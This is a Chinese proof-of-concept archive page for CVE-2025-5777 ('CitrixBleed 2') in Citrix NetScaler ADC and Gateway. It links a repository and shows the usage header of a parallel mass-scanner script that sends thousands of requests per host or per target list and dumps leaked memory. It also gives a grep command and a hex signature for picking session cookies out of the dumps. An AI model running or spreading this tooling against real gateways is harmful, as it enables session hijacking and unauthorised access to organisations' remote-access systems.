POC详情： 2a57e8611aaf04b1c27f4f2b3b11b619b20e2a14

来源
https://github.com/Chocapikk/CVE-2025-5777
关联漏洞
标题： Citrix NetScaler ADC和Citrix NetScaler Gateway 安全漏洞 (CVE-2025-5777)
描述：Citrix NetScaler ADC和Citrix NetScaler Gateway都是美国Citrix公司的产品。Citrix NetScaler ADC是一个应用程序交付和安全性平台。Citrix NetScaler Gateway是一种安全远程访问的解决方案。 Citrix NetScaler ADC和Citrix NetScaler Gateway存在安全漏洞，该漏洞源于NetScaler Management Interface输入验证不足，可能导致内存过度读取。
描述
CitrixBleed 2 (CVE-2025-5777)
介绍
```bash
# citrixbleed2_parallel.sh – Mass‑scanner for CitrixBleed 2 (CVE‑2025‑5777)
# -----------------------------------------------------------------------------
# USAGE
#   Single host – 10 000 requests, 300 jobs, no OpenSSL tweak, progress bar
#       ./citrixbleed2_parallel.sh -n 10000 -j 300 --no-ssl-conf --progress https://gw.example.com
#   Batch file – 5 000 requests each, results under out/
#       ./citrixbleed2_parallel.sh -f targets.txt -n 5000 -o out --progress
# -----------------------------------------------------------------------------
# OPTIONS
#   -f, --file FILE        File with one target per line (host or URL)
#   -n, --requests N       POST requests per host              (default 100)
#   -j, --jobs J           GNU parallel job count              (default 50)
#   -o, --out-dir DIR      Directory for per‑host hexdumps      (default "dumps")
#   --no-ssl-conf          Disable UnsafeLegacyRenegotiation OpenSSL tweak
#   --progress             Show GNU parallel real‑time progress bar / ETA
#   -h, --help             Show this help and exit
# -----------------------------------------------------------------------------
# OUTPUT
#   * Continuous hexdumps to STDOUT (line‑buffered)
#   * Per‑host files: DIR/<host>.hexdump (written in real‑time, flock‑protected)
# -----------------------------------------------------------------------------
```

## Find hits:

`grep -Ri "35 66 34 66"`

> Session cookies always end with the hex sequence 45525d5f4f58455e445a4a42. Incorporating this information can greatly enhance the accuracy of session token detection.
文件快照

 [4.0K]  /data/pocs/2a57e8611aaf04b1c27f4f2b3b11b619b20e2a14
├── [4.7K]  exploit.sh
└── [1.6K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。